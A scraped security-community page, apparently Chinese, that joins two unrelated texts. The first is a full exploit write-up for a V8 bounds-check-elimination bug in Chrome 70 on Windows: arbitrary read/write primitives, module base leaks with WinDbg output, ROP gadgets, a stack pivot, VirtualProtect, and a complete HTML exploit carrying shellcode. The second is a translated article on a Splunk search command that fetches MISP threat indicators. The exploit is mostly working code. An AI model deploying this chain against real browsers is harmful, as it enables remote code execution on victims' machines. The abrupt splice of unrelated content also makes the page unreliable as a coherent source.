void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
## exploit
### 得到任意地址读写和用户态对象leak的原语
通过a1的单次越界写改掉oob_double_Array的长度，将其改的很大，然后在后面放一个object Array。
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16
a1[x * 19] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 21] = 2.60750842793813e-310; // 0x0000300000000000
a1[x * 41] = 2.60750842793813e-310; // 0x0000300000000000
通过将要leak的对象放入object Array，然后通过oob_double_Array将该对象越界读出，得到的就是该对象的指针的double表示。
function user_space_read(leak){
object_Array[1] = leak;
return oob_double_Array[23];
}
然后我们再new一个ArrayBuffer，通过oob_double_Array的越界写，可以改它的backing_store，于是就可以任意地址读写。
oob_buffer = new ArrayBuffer(0x1000);
...
function writePtr(offset, address, value){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}
function readPtr(offset, address){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}
这里有一个小trick就是，我们的oob_double_Array和ArrayBuffer的偏移是不固定的。
但是通过user_space_read，我们可以先leak出oob_double_Array和oob_buffer的地址，由于oob_double_Array的fixedArray与其偏移是固定的，而oob_buffer的backing_store和oob_buffer的偏移是固定的.
所以我们可以计算出这个偏移是多少。
### 得到chrome_child.dll的基地址
leak出一个blink对象div的地址，它偏移0x20的位置是HTMLDivElement对象，读出后，再读出它首部的虚表地址，然后减去和chrome_child.dll的偏移就是chrome_child.dll的基地址了。
let div = document.createElement('div');
let div_addr = user_space_read(div);
alert("[+] the div_addr is at " + Int64.fromDouble(div_addr).toString());
el_addr = readPtr(offset, div_addr + new Int64(0x1f).asDouble());
alert("[+] the el_addr is at " + Int64.fromDouble(el_addr).toString());
0:017> dq 0x00004c0eb3ea31f8
00004c0e`b3ea31f8 00007ffb`49c9e910 000001e7`ec4da5c0
00004c0e`b3ea3208 00000000`000e101c 00000000`00000000
00004c0e`b3ea3218 00004c0e`b3ea2538 00000000`00000000
00004c0e`b3ea3228 00000000`00000000 00007ffb`4a46d1f0
00004c0e`b3ea3238 00000000`00000000 00000000`00000000
00004c0e`b3ea3248 00005a68`da2417e8 00000000`00000000
00004c0e`b3ea3258 00000000`00000000 00000000`00000000
00004c0e`b3ea3268 00000000`00000000 00000000`00000000
0:017> g
(3d7c.3af4): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffb`9da98cc0 cc int 3
0:017> uf 00007ffb`49c9e910
chrome_child!blink::HTMLDivElement::`vftable':
00007ffb`49c9e910 dcb14b47fb7f fdiv qword ptr [rcx+7FFB474Bh]
00007ffb`49c9e916 0000 add byte ptr [rax],al
00007ffb`49c9e918 3030 xor byte ptr [rax],dh
00007ffb`49c9e91a c247fb ret 0FB47h
0:017> !address chrome_child
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 00007ffb`45960000
End Address: 00007ffb`45961000
Region Size: 00000000`00001000 ( 4.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Type: 01000000 MEM_IMAGE
Allocation Base: 00007ffb`45960000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Program Files (x86)\Google\Chrome\Application\70.0.3538.110\chrome_child.dll
Module Name: chrome_child
Loaded Image Name: C:\Program Files (x86)\Google\Chrome\Application\70.0.3538.110\chrome_child.dll
Mapped Image Name:
More info: lmv m chrome_child
More info: !lmi chrome_child
More info: ln 0x7ffb45960000
More info: !dh 0x7ffb45960000
Content source: 1 (target), length: 1000
0:017> ? 00007ffb`49c9e910-00007ffb`45960000
Evaluate expression: 70510864 = 00000000`0433e910
### 计算kernel32的基地址
0:016> x chrome_child!*CreateEventW*
00007ffb`465faea2 chrome_child!media::MediaLog::CreateEventW (media::MediaLogEvent::Type)
00007ffb`4a33b4f8 chrome_child!_imp_CreateEventW = <no type information>
0:016> dq 00007ffb`4a33b4f8
00007ffb`4a33b4f8 00007ffb`9c001f20
0:016> u 00007ffb`9c001f20
KERNEL32!CreateEventW:
00007ffb`9c001f20 ff2522480500 jmp qword ptr [KERNEL32!_imp_CreateEventW (00007ffb`9c056748)]
00007ffb`9c001f26 cc int 3
00007ffb`9c001f27 cc int 3
00007ffb`9c001f28 cc int 3
00007ffb`9c001f29 cc int 3
00007ffb`9c001f2a cc int 3
00007ffb`9c001f2b cc int 3
00007ffb`9c001f2c cc int 3
### 计算ntdll的基地址
0:016> x KERNEL32!*NtQueryEvent*
00007ffb`9c056dd8 KERNEL32!_imp_NtQueryEvent = <no type information>
0:016> dq 00007ffb`9c056dd8
00007ffb`9c056dd8 00007ffb`9da95db0
0:016> u 00007ffb`9da95db0
ntdll!NtQueryEvent:
00007ffb`9da95db0 4c8bd1 mov r10,rcx
00007ffb`9da95db3 b856000000 mov eax,56h
00007ffb`9da95db8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`9da95dc0 7503 jne ntdll!NtQueryEvent+0x15 (00007ffb`9da95dc5)
00007ffb`9da95dc2 0f05 syscall
00007ffb`9da95dc4 c3 ret
00007ffb`9da95dc5 cd2e int 2Eh
### 寻找gadaget
#### 栈劫持
00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h]
00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h]
00007ff9`296f0711 ffe2 jmp rdx
search->sequence of bytes
#### mprotect
// pop rcx ; ret 59 c3
// pop rdx ; ret 5a c3
// pop r8 ; ret 41 58 c3
// pop r9 ; ret 41 59 c3
0:016> u 00007ffb`45d6982c
chrome_child!blink::AutoscrollController::HandleMouseMoveForMiddleClickAutoscroll+0x16c [C:\b\c\b\win64_clang\src\third_party\blink\renderer\core\page\autoscroll_controller.cc @ 237]:
00007ffb`45d6982c 59 pop rcx
00007ffb`45d6982d c3 ret
0:016> s -w 00007ffb`45960000 L1000000 C359
00007ffb`45d6982c c359 0ff3 4411 2024 0ff3 7c11 2424 2e0f Y....D$ ...|$$..
0:016> u 00007ffb`45a8d91a
chrome_child!cc::SingleKeyframeEffectAnimation::SingleKeyframeEffectAnimation+0x3a [C:\b\c\b\win64_clang\src\cc\animation\single_keyframe_effect_animation.cc @ 44]:
00007ffb`45a8d91a 5a pop rdx
00007ffb`45a8d91b c3 ret
0:016> s -w 00007ffb`45960000 L1000000 C35a
00007ffb`45a8d91a c35a 4803 c389 8b48 7856 2b48 7056 c148 Z..H..H.VxH+VpH.
0:016> u 00007ffb`46b16012
chrome_child!v8::internal::compiler::RawMachineAssembler::TargetParameter+0x2 [C:\b\c\b\win64_clang\src\v8\src\compiler\raw-machine-assembler.cc @ 82]:
00007ffb`46b16012 4158 pop r8
00007ffb`46b16014 c3 ret
0:016> s -w 00007ffb`45960000 L1000000 5841
...
...
00007ffb`46b16012 5841 ccc3 cccc cccc cccc cccc cccc 4856 AX............VH
0:016> u 00007ffb`472db44c
chrome_child!DeblockLumaTransposeH2V_sse2+0x1ec:
00007ffb`472db44c 4159 pop r9
00007ffb`472db44e c3 ret
00007ffb`472db44f 90 nop
0:016> s -w 00007ffb`45960000 L1000000 5941
...
...
00007ffb`472db44c 5941 90c3 5141 4850 ec83 f320 7f0f 2434 AY..AQPH.. ...4$
### 创建一块大的可读写空间，fake vtable和栈伪造，栈劫持和mprotect执行shellcode
let scratch = new ArrayBuffer(0x100000);
let scratch_u8 = new Uint8Array(scratch);
let scratch_u64 = new BigUint64Array(scratch);
...
...
let scratch_addr = readPtr(offset, scratch_buffer_addr + new Int64(0x1f).asDouble());
scratch_u64.fill(gadget, 0, 100);//把其首部当做fake_vtab，在virtual call执行的时候会执行这里面的语句，于是跳转到gadget执行，这个gadget用于栈劫持,此时rcx的值应为el_addr的地址。
let fake_vtab = scratch_addr;
...
writePtr(offset, el_addr + new Int64(0x10).asDouble(), fake_stack); // RSP
writePtr(offset, el_addr + new Int64(0x50).asDouble(), pop_rcx_ret + new Int64(0x1).asDouble()); // RIP = ret
writePtr(offset, el_addr + new Int64(0x58).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x60).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x68).asDouble(), 0);
writePtr(offset, el_addr, fake_vtab);
...
...
00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h]
00007ff9`296f0709 488b6918 mov rbp,qword ptr [rcx+18h]
00007ff9`296f070d 488b6110 mov rsp,qword ptr [rcx+10h] //改变rsp的值为fake_stack
00007ff9`296f0711 ffe2 jmp rdx //改变rip到一个ret指令
栈劫持之后，开始执行我们的mprotect gadaget，使shellcode所在的页可执行，然后跳转到shellcode执行
let fake_stack = scratch_addr + new Int64(0x10000).asDouble();
let stack = [
pop_rcx_ret,
sc_addr,
pop_rdx_ret,
new Int64(0x1000).asDouble(),
pop_r8_ret,
new Int64(0x40).asDouble(),
pop_r9_ret,
scratch_addr,
virtaulprotect_addr, // VirtualProtect
sc_addr,
];
for (let i = 0; i < stack.length; ++i) {
scratch_u64[0x10000/8 + i] = stack[i];
}
### 完整exp
<html>
<script>
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//console.log(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
//console.log(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
//console.log("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}
function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//console.log(a.toString());
//console.log(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}
//padLeft用于字符串左补位
function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}
function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
function clear_space(){
gc();
gc();
}
function get_shell(){
return 1 + 1;
}
var leak = get_shell;
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16
a1[x * 19] = 2.60750842793813e-310; // 0xffff00000000
a1[x * 21] = 2.60750842793813e-310; // 0x2a00000000
a1[x * 41] = 2.60750842793813e-310; // 0x2a00000000
}
var a1, oob_double_Array, object_Array, oob_buffer;
var a3 = [1.1,2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);
fun(...a3);
// console.log(a1.length);
// console.log(oob_double_Array.length);
/* for (var i = 0; i < a1.length; i++){
console.log(a1[i]);
} */
console.log("this is a2");
function user_space_read(leak){
object_Array[1] = leak;
return oob_double_Array[23];
}
function writePtr(offset, address, value){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}
function readPtr(offset, address){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}
function_addr = oob_double_Array[23];
console.log("[+] the get shell function addr is at " + Int64.fromDouble(function_addr).toString());
oob_buffer = new ArrayBuffer(0x1000);
%DebugPrint(get_shell);
/* for (var i = 0; i < oob_double_Array.length; i++){
console.log(Int64.fromDouble(oob_double_Array[i]).toString());
} */
%DebugPrint(a1);
%DebugPrint(oob_double_Array);
%DebugPrint(oob_buffer);
oob_buffer_addr = user_space_read(oob_buffer);
// alert("[+] the oob_buffer_addr is at " + Int64.fromDouble(oob_buffer_addr).toString());
oob_array_addr = user_space_read(oob_double_Array);
// alert("[+] the oob_array_addr is at " + Int64.fromDouble(oob_array_addr).toString());
temp1 = Int64.fromDouble(oob_buffer_addr + new Int64(0x1f).asDouble() - oob_array_addr + new Int64(0x81).asDouble());
// alert("temp1 is " + temp1.toString())
offset = lowerint(temp1) / 8;
// alert("offset is " + offset.toString())
/* object_Array[1] = oob_double_Array;
oob_double_Array_addr = oob_double_Array[23];
alert("[+] the oob_double_Array_addr is at " + Int64.fromDouble(oob_double_Array_addr).toString());
*/
let scratch = new ArrayBuffer(0x100000);
let scratch_u8 = new Uint8Array(scratch);
let scratch_u64 = new Float64Array(scratch);
scratch_u8.fill(0x41, 0, 10);
var shellcode1 = [72, 131, 236, 40, 72, 131, 228, 240, 72, 199, 194, 96, 0, 0, 0, 101, 76, 139, 34, 77, 139, 100, 36, 24, 77, 139, 100, 36, 32, 77, 139, 36, 36, 77, 139, 36, 36, 77, 139, 100, 36, 32, 72, 186, 142, 78, 14, 236, 0, 0, 0, 0, 73, 139, 204, 232, 102, 0, 0, 0, 235, 56, 89, 255, 208, 72, 199, 194, 152, 254, 138, 14, 73, 139, 204, 232, 82, 0, 0, 0, 72, 139, 216, 77, 51, 201, 235, 60, 65, 88, 235, 42, 90, 72, 139, 202, 255, 211, 72, 199, 194, 197, 181, 73, 17, 73, 139, 204, 232, 49, 0, 0, 0, 72, 51, 201, 255, 208, 232, 195, 255, 255, 255, 117, 115, 101, 114, 51, 50, 46, 100, 108, 108, 0, 232, 209, 255, 255, 255, 99, 97, 108, 99, 46, 101, 120, 101, 0, 232, 191, 255, 255, 255, 99, 97, 108, 99, 46, 101, 120, 101, 0, 76, 139, 233, 65, 139, 69, 60, 77, 139, 221, 76, 3, 232, 69, 139, 181, 136, 0, 0, 0, 77, 3, 243, 69, 139, 86, 24, 65, 139, 94, 32, 73, 3, 219, 103, 227, 60, 73, 255, 202, 66, 139, 52, 147, 73, 3, 243, 72, 51, 255, 72, 51, 192, 252, 172, 132, 192, 116, 7, 193, 207, 13, 3, 248, 235, 244, 59, 250, 117, 220, 65, 139, 94, 36, 73, 3, 219, 51, 201, 102, 66, 139, 12, 83, 65, 139, 94, 28, 73, 3, 219, 139, 4, 139, 73, 3, 195, 195]
let shellcode = new Uint8Array(shellcode1.length);
for (var i = 0; i < shellcode1.length; i++){
shellcode[i] = shellcode1[i];
}
let div = document.createElement('div');
let div_addr = user_space_read(div);
alert("[+] the div_addr is at " + Int64.fromDouble(div_addr).toString());
el_addr = readPtr(offset, div_addr + new Int64(0x1f).asDouble());
// alert("[+] the el_addr is at " + Int64.fromDouble(el_addr).toString());
el_vftable = readPtr(offset, el_addr);
// alert("[+] the leak is at " + Int64.fromDouble(leak).toString());
chrome_child_addr = el_vftable - (new Int64(0x433e910).asDouble());
// alert("[+] the chrome_child_addr is at " + Int64.fromDouble(chrome_child_addr).toString());
// kernel32_addr = readPtr(offset, chrome_child_addr + new Int64(0x49dbde8).asDouble()) - new Int64(0x20db0).asDouble();
// x chrome_child!*CreateEventW*
kernel32_addr = readPtr(offset, chrome_child_addr + new Int64(0x49db4f8).asDouble()) - new Int64(0x21f20).asDouble();
// alert("[+] the kernel32_addr is at " + Int64.fromDouble(kernel32_addr).toString());
// ntdll_addr = readPtr(offset, kernel32_addr + new Int64(0x79208).asDouble()) - new Int64(0x9a9b0).asDouble();
// 0:016> x KERNEL32!*NtQueryEvent*
ntdll_addr = readPtr(offset, kernel32_addr + new Int64(0x76fe8).asDouble()) - new Int64(0xa55d0).asDouble();;
// alert("[+] the ntdll_addr is at " + Int64.fromDouble(ntdll_addr).toString());
// gadget = ntdll_addr + new Int64(0xA0715).asDouble();
gadget = ntdll_addr + new Int64(0xAB9B5).asDouble();
// alert("[+] the gadget(mov rdx, [rcx+50h]\n mov rbp, [rcx+18h]\n mov rsp, [rcx+10h]\n) is at " + Int64.fromDouble(gadget).toString());
pop_rcx_ret = chrome_child_addr + new Int64(0x40982c).asDouble();
// alert("[+] the pop_rcx_ret is at " + Int64.fromDouble(pop_rcx_ret).toString());
pop_rdx_ret = chrome_child_addr + new Int64(0x12d91a).asDouble();
// alert("[+] the pop_rdx_ret is at " + Int64.fromDouble(pop_rdx_ret).toString());
pop_r8_ret = chrome_child_addr + new Int64(0x11b6012).asDouble();
// alert("[+] the pop_r8_ret is at " + Int64.fromDouble(pop_r8_ret).toString());
pop_r9_ret = chrome_child_addr + new Int64(0x197b44c).asDouble();
// alert("[+] the pop_r9_ret is at " + Int64.fromDouble(pop_r9_ret).toString());
// virtaulprotect_addr = kernel32_addr + new Int64(0x193d0).asDouble();
virtaulprotect_addr = kernel32_addr + new Int64(0x1B330).asDouble();
// alert("[+] the virtaulprotect_addr is at " + Int64.fromDouble(virtaulprotect_addr).toString());
%DebugPrint(scratch);
scratch_buffer_addr = user_space_read(scratch);
// alert("[+] the scratch_buffer_addr is at " + Int64.fromDouble(scratch_buffer_addr).toString());
let scratch_addr = readPtr(offset, scratch_buffer_addr + new Int64(0x1f).asDouble());
// alert("[+] the scratch_addr is at " + Int64.fromDouble(scratch_addr).toString());
sc_upper = upper(scratch_addr);
sc_lower = lower(scratch_addr);
scratch_addr1 = combineint(sc_upper, sc_lower);
let sc_offset = 0x20000 - scratch_addr1 % 0x1000;
// alert("[+] the sc_offset is at 0x" + sc_offset.toString(16));
let sc_addr = scratch_addr + new Int64("0x" + sc_offset.toString(16)).asDouble();
// alert("[+] the sc_addr is at " + Int64.fromDouble(sc_addr).toString());
scratch_u8.set(shellcode, Number(sc_offset));
scratch_u64.fill(gadget, 0, 100);
let fake_vtab = scratch_addr;
// alert("[+] the fake_vtab is at " + Int64.fromDouble(fake_vtab).toString());
let fake_stack = scratch_addr + new Int64(0x10000).asDouble();
let stack = [
pop_rcx_ret,
sc_addr,
pop_rdx_ret,
new Int64(0x1000).asDouble(),
pop_r8_ret,
new Int64(0x40).asDouble(),
pop_r9_ret,
scratch_addr,
virtaulprotect_addr, // VirtualProtect
sc_addr,
];
for (let i = 0; i < stack.length; ++i) {
scratch_u64[0x10000/8 + i] = stack[i];
}
writePtr(offset, el_addr + new Int64(0x10).asDouble(), fake_stack); // RSP
writePtr(offset, el_addr + new Int64(0x50).asDouble(), pop_rcx_ret + new Int64(0x1).asDouble()); // RIP = ret
writePtr(offset, el_addr + new Int64(0x58).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x60).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x68).asDouble(), 0);
writePtr(offset, el_addr, fake_vtab);
// alert("ok");
div.dispatchEvent(new Event('click'));
</script>
</html> | 社区文章 |
# 【技术分享】自定义的Splunk搜索命令：从开源威胁情报平台获取IOC信息
|
##### 译文声明
本文是翻译文章，文章来源：rootshell.be
原文地址：<https://blog.rootshell.be/2017/10/31/splunk-custom-search-command-searching-misp-iocs/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
如果你每天都在使用同一款工具，那么你不仅会对这款工具越来越了解，而且你有可能还会有一堆的想法来改进这款工具。
**Splunk的常规模式**
由于我个人的工作原因，我几乎每天都会在各种不同的客户环境以及研究场景下使用Splunk，如果你手上有一个大型的事件数据库，那你肯定会需要一种高效率的技术来帮助你从如此大量的数据中提取出你所需要的有效信息。一般来说，最常用的一种实现方法就是将IoC（入侵威胁指标）提交给Splunk（例如IP地址、域名和哈希等等），然后设置计划搜索或进行实时搜索。常见的操作模式如下图所示：
在上图中，Input（输入）可以是日志记录、OSINT资源或者是第三方工具的输出数据，而Output（输出）即为我们所需要的有价值数据。这里我推荐大家使用MISP平台，因为我们可以通过平台所提供的API定期提取出有价值的IoC（入侵威胁指标）数据，并将这些数据注入到Splunk中以备后续的搜索查询和研究报告。
# wget --header 'Authorization: xxxxx'
--no-check-certificate
-O /tmp/domain.txt
https://misp/attributes/text/download/domain/false/false/false/false/false/7d
但是这个过程中有一个限制因素：每天（或每n个小时）定期所导出的新的IoC（入侵威胁指标）数据并非是立即可用的。比如说，当我们发现了类似Bad
Rabbit（【[相关报告](http://blog.talosintelligence.com/2017/10/bad-rabbit.html)】）这种新的安全威胁时，如果我们能够迅速获取到安全研究人员第一时间发布的IoC，那就非常棒了。那我们如何来实现这一点呢？你可以通过与Splunk服务器建立一条通信连接，并执行命令（或使用自定义搜索命令，需要命令控制台的访问权）来手动完成数据的导出过程。Splunk本身提供了非常优秀的查询语言，但你知不知道其实你可以用你自己的命令来进一步扩展Splunk的查询语句？非常好，那么接下来我们应该怎么做呢？
**自定义Splunk搜索命令**
一条Splunk自定义搜素命令其实就是一个非常小的程序，而实现这种程序的语言是可以在Splunk环境中执行的。我这里选择使用Python，而且相关的SDK也是现成的。实现的主要思想非常简单：即通过处理输入数据来生成新的输出数据。这也是很多计算机程序的基础运行流程。
我所编写的自定义搜索命令可以与MISP平台进行交互并获取IoC（入侵威胁指标）数据。演示样例如下所示：
命令语句如下所示：
|getmispioc [server=https://host:port]
[authkey=misp-authorization-key]
[sslcheck=y|n]
[eventid=id]
[last=interval]
[onlyids=y|n]
[category=string]
[type=string]
在上面这段演示代码中，‘eventid’（返回特定事件的IoC）和‘last’（返回特定时间周期内的IoC，时间单位可以是n个小时、日、周或月）这两个参数是必须要强制提供的。除此之外，你可以通过设置‘ids_only’标记或指定IoC类型/类别来对返回的数据进行过滤筛选。演示样例如下所示：
|getmispioc last=2d onlyids=y type=ip-dst
接下来，你还可以向命令中整合更多复杂的查询语句来跨日志搜索IoC（入侵威胁指标）。在下面这段演示代码中，我们指定在queries.log日志文件中搜索感兴趣的目标域名：
source=/var/log/named/queries.log
[|getmispioc last=5d type=domain
|rename value as query
|fields query
]
**工具介绍**
我们的自定义命令是基于[PyMISP](https://github.com/CIRCL/PyMISP)实现的，相关的脚本和安装细节可以参考我的GitHub主页【[传送门](https://github.com/CIRCL/PyMISP)】。
PyMISP是一个专门用来访问[MISP平台](https://github.com/MISP/MISP)的Python代码库，它使用了MISP的REST
API。PyMISP可以帮助你获取事件数据，添加或更新事件/属性，添加或更新威胁样本，以及搜索特定属性等等。
**依赖组件**
[python-requests](http://docs.python-requests.org/)
使用pip安装：
pip3 install pymisp
直接从GitHub代码库中下载安装最新版本：
git clone https://github.com/CIRCL/PyMISP.git && cd PyMISP
pip3 install -I .
**PyMISP使用样例**
更多丰富的使用样例和参考脚本可以在PyMISP项目的examples/目录中找到。
在examples/目录中，你需要修改keys.py.sample文件，并输入你自己的MISP url地址以及API密钥：
cd examples
cp keys.py.sample keys.py
vim keys.py
其中，MISP的API密钥可以在MISP Web接口中的自动化（Automation）设置部分找到。
为了测试你输入的URL地址以及API密钥是否正确，你可以使用examples/last.py来尝试获取最新发布的十条威胁事件信息：
cd examples
python3 last.py -l 10
**
**
**参考文档**
点击【[这里](https://media.readthedocs.org/pdf/pymisp/master/pymisp.pdf)】查看PyMISP的API文档。
除此之外，你还可以使用epydoc命令来生成文档：
epydoc --url https://github.com/CIRCL/PyMISP --graph all --name PyMISP --pdf pymisp -o doc
**自定义开发** ****
其中，AbstractMISP是程序的主类，并且继承了collections.MutableMapping，因此它可以直接当作一个Python字典来使用。MISPEvent、MISPAttribute、MISPObjectReference、MISPObjectAttribute和MISPObject是AbstractMISP的子类，因此你可以将它们当作Python字典来处理。
**MISP对象**
在创建一个新的MISP对象生成器时，你需要使用一个预定义的模板，并继承AbstractMISPObjectGenerator类。
